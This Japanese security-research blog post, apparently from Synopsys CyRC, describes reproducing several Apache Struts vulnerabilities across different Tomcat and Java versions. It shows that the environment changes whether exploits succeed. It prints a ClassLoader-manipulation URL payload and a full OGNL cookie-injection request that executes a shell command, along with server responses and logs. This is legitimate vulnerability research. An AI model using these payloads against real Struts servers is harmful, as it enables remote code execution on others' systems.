2019年8月、SynopsysのCybersecurity Research Center(CyRC)は、Apacheソフトウェア財団と連携してApache Strutsセキュリティ勧告S2-058を発表しました。この勧告は、Strutsの115バージョンの64件の脆弱性に照準を合わせてベルファストで実施された調査を反映したもので、脆弱性別に影響を受けた約50のバージョンが特定されています。この一連の記事では、これまでの経験を読者の皆さんにシェアいたします。
この記事は技術系読者向けです。プロジェクト中に我々が得た洞察や遭遇した問題、思い付いた解決策を公開しています。
これからお届けするのは第2回目の投稿です。初めての方は、第1回目の投稿をお読みになるようお勧めします。
2018年8月、我々は新しく発表されたApache Strutsの遠隔コード実行の脆弱性(CVE-2018-11776/S2-057)を検証しました。独自の概念実証を作成し、Apache Strutsの過去のリリースに対してこれをテストした結果、当初の報告よりも多くのバージョンが脆弱性の影響を受けたことを発見しました。我々は、当社の責任ある開示方針に従いこれらの知見を報告しました。しかし、この発見によって、これまで報告されたすべてのApache Strutsの脆弱性についてはどうだったのか?という疑問が浮かんできました。我々は、脆弱性の大規模な調査を実施するためのシステムの構築に取り掛かりました。
Javaは、「一度書けば、どこでも実行できる」汎用バイナリとコンポーネントというアイデアを推進した最初の言語の一つです。その意義は、開発および実行のための安定したプラットフォームを提供することにありました。しかし、Javaはかなり古く、長年にわたり多くの変遷を遂げています。Javaプラットフォームには微妙な問題があり、Struts 2の場合、これといって決まった1つのサーブレットランナーがあるわけではありません。
Apache Struts 2の最初のバージョンであるStruts 2.0.1は、10年以上前の2006年9月にリリースされました。当時優位だったのは(このときもWindows 95といった古いオペレーティングシステムをサポートしていた)Java 1.5でした。(最近になってサポートが停止された、2009年にリリースされたWindows 7のように、古いオペレーティングシステムの廃止は今ほど簡単ではなかったようです。)
これまで存在した環境をすべて残らず再現する代わりに、我々は、まずシンプルな手法によってJavaランタイムとサーブレットランナーの妥当な中間物を試行し、エッジケースが存在する場所を観察することにしました。
我々は、まず、さまざまなバージョンのStrutsを手あたり次第に実行しました。システムに付属しているTomcat 8およびJava8パッケージを使用し、Ubuntu 18 LTSにTomcat基本インストールをセットアップしました。Java 8には、起点となるJava 1.5用のコンパイル機能があります。Tomcat 8には、1996年まで遡るJavaサーブレット1.0仕様と下位互換性がありますが、これは、Struts 2のWARファイルから割り出したものよりはるかに古いものでした。また、これは理論的には十分新しく、新しいバージョンのStrutsもその多くが同じインスタンスで実行できる可能性があります。
Ubuntu 18でStrutsを簡単にセットアップできることに驚きました。必要だったのはいくつかのチェーンコマンドだけで、数分で初期構成を稼働させることができます。
Bashシェル |
sudo apt-get update && sudo apt-get -y dist-upgrade && sudo apt-get -y install openjdk-8-jdk tomcat8 tomcat8-user && sudo service tomcat8 stop && sudo update-java-alternatives -s java-1.8.0-openjdk-amd64 && sudo service tomcat8 start |
準備したWARの多くが予測どおりにエラーなく実行できました。当初よく利用したのがShowcase WARファイルで、まず、Strutsの基本機能をいくつかテストしました。
また、Eclipse IDEを使ってリモートデバッグ機能をセットアップし、エクスプロイトをトリガしたときに何が起きるのか追跡しました。
エクスプロイトの再現や既知の情報に基づく新しいエクスプロイトの作成の際はさまざまな障壁が待ち受けていました。これらについて以下に詳しく述べます。
この脆弱性は、CookieInterceptorのブラックリストが不十分なためにClassLoader操作を招いてDoS攻撃を許します。
サーバーにペイロードを送り始めた際、ペイロードによって何もトリガされなかったことがリモートデバッグで明らかになりました。ペイロードの有無を確かめるためによく観察しても、リモートデバッグ・ツールでは何も発見できませんでした。Tomcat 404 エラーメッセージも送られてきました。
ペイロード |
/showcase.action?Class.ClassLoader.resources.dirContext.docBase=%2Ftmp |
ペイロードを考えると、環境によってこれが問題になるとは考えられませんでした。しかし、最終的に、サーブレットに渡される前にデータが何らかの理由でサニタイズされたことが明らかになったのです。さらに興味深いことに、Tomcatで生成されたアクセスログをチェックすると、アクセス先のURLが想定とは異なっていました。
Tomcat 8のアクセスログ |
“GET /j8-2.3.16.1/showcase.action HTTP/1.1” 404 989 |
Tomcat 6.5に切り替え、エクスプロイトを再度実行しました。ペイロードは正常に機能しました。そのうえ、Tomcat 6.5のアクセスログもTomcat 8とはまったく異なっていました。
Tomcat 6.5のアクセスログ |
“GET /j8-2.3.16.1/showcase.action?Class.ClassLoader.resources.dirContext.docBase=%2Ftmp HTTP/1.0” 200 12502 |
これは、古いソフトウェアをアップグレードし、これにインフラストラクチャを合わせることで脆弱性を低減できる方向に近づくことを示す好例です。裏読みすると、新しいインフラストラクチャほど平均的なインストールが実行される可能性が高くなるため、他の製品に存在する、このようなエクスプロイトが検出されなかったのかもしれません。
この脆弱性では、ExceptionDelegatorに対してOGNL評価を引き起こします。OGNL式はチューリング完全であり、Javaのベースクラスに頻繁にアクセスします。攻撃者はさらにこれを利用してホストアプリケーションのコンテキストおよび機能内でコードを実行し、リモートコード実行(RCE)を引き起こします。
この脆弱性によって、ペイロードはcookieヘッダを通過しました。この脆弱性について興味深いのは、Apache Strutsを内包していること自体がセキュリティホールとなり、blank.warアプリケーションでさえ攻撃の対象となった点です。我々のサンプルペイロードでは、OGNLを使用してシェルコマンドを起動し、ファイルにアクセスするだけに決めました。
HTTPペイロードのやり取り |
GET /blank_j8-2.3.1/example/HelloWorld.action HTTP/1.1 Host: localhost User-Agent: Synopsys-CyRC/2019 Cookie: (#_memberAccess[“allowStaticMethodAccess”]\u003dnew\u0020java.lang.Boolean(true))(x)=1; x[@java.lang.Runtime@getRuntime().exec(“touch@/tmp/RCE”.split(“@”))]=1 |
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=52154AE434607CD570E5280CBD321A19; Path=/blank_j8-2.3.1 Content-Type: text/html;charset=UTF-8 Content-Length: 534 |
以上のペイロードはうまくいき、Tomcat 6で/tmp/RCEが生成されました。しかし、Tomcat 8にこれと同じペイロードを試行すると、cookie入力が即座にサニタイズされ、ステータスログに以下の不愉快な現象が現れました。
Tomcat 8のステータス・ログ – 試行失敗 |
org.apache.tomcat.util.http.parser.Cookie.logInvalidHeader A cookie header was received [(#_memberAccess[“allowStaticMethodAccess”]\u003dnew\u0020java.lang.Boolean(true))(x)=1; x[@java.lang.Runtime@getRuntime().exec(“touch@/tmp/CVE-2012-0392/2.3.1”.split(“@”))]=1] that contained an invalid cookie. That cookie will be ignored.Note: further occurrences of this error will be logged at DEBUG level. |
前述したように、古いバージョンのソフトウェアをアップグレードし、インフラストラクチャをこれに合わせると、脆弱性の低減に有効かもしれないことがこのログでも明らかです。
この脆弱性は、Struts RESTプラグインをXStreamハンドラとともに使用してXMLを解析する際にRCE攻撃を引き起こします。
このRCE攻撃が機能するかどうかを検証することにしました。脆弱性を再現することができました。この脆弱性は、公知のペイロードの適合バージョンを使うと型変換例外が発生します。
Java Runtime Environment 8の脆弱性例外 |
com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service |
Java Runtime Environment 11およびその他に対してこれらと同じエクスプロイトを試行した結果、このペイロードが機能しなかったことが分かりました。これは一つには、ランタイムディストリビューションに追加された変更によるものであり、その結果、com.thoughtworks.xstream.mapper.CannotResolveClassExceptionが発生しました。
しかし、ペイロードに修正を加えると、Java Runtime Environment 11で機能するようになりました。脆弱性は一見低減しているが、修正の追加によってエクスプロイトが作り出される可能性があることは経験上分かっています。この場合、脆弱性のあるコンポーネント周囲の環境をアップグレードするだけでは脆弱性を低減することはできませんでした。
エクスプロイトに関する次の投稿では、エクスプロイトとこれに似たシナリオの修正が必要な理由について深く掘り下げます。
このプロジェクトのお陰で、S2-006がクロスサイト・スクリプティング(XSS)の脆弱性と表現されていることがエラーページで明らかになりました。
S2-006が公開された際、その基本情報はあまり意味がありませんでした。
S2-006脆弱性の概要 |
<s:url>および<s:a>タグに対するクロスサイト・スクリプティング(XSS)の脆弱性 <s:url>タグと<s:a>タグのいずれも、このタグで生成されるURLが構築およびレンダリングされる際、適切にエスケープされないパラメータ値を挿入する可能性があります。既知のシナリオは次のとおりです。
|
さざまな試行錯誤を繰り返した結果、開発モードでStrutsが実行されると、これらの脆弱性のあるタグがエラーページにより生成されたことが最終的に明らかになりました。開発モードでは、Apache Strutsは独自のエラーページを生成します。それ以外の場合、Apache Tomcatはエラーページを生成し、このページは以上のような問題に対する脆弱性はありません。
環境に左右されます。たとえ、互換性の高いJavaなどの環境であってもです。ランタイムバージョン、サーバーソフトウェア、さらにソフトウェア構成はいずれも効果があります。ランタイムおよびサーブレットソフトウェアが新しいと、一部の問題が緩和されることに驚きました。その他の場合、エクスプロイトを粉砕することはできますが、代替のペイロードを使用して問題に何とか対処する必要があります。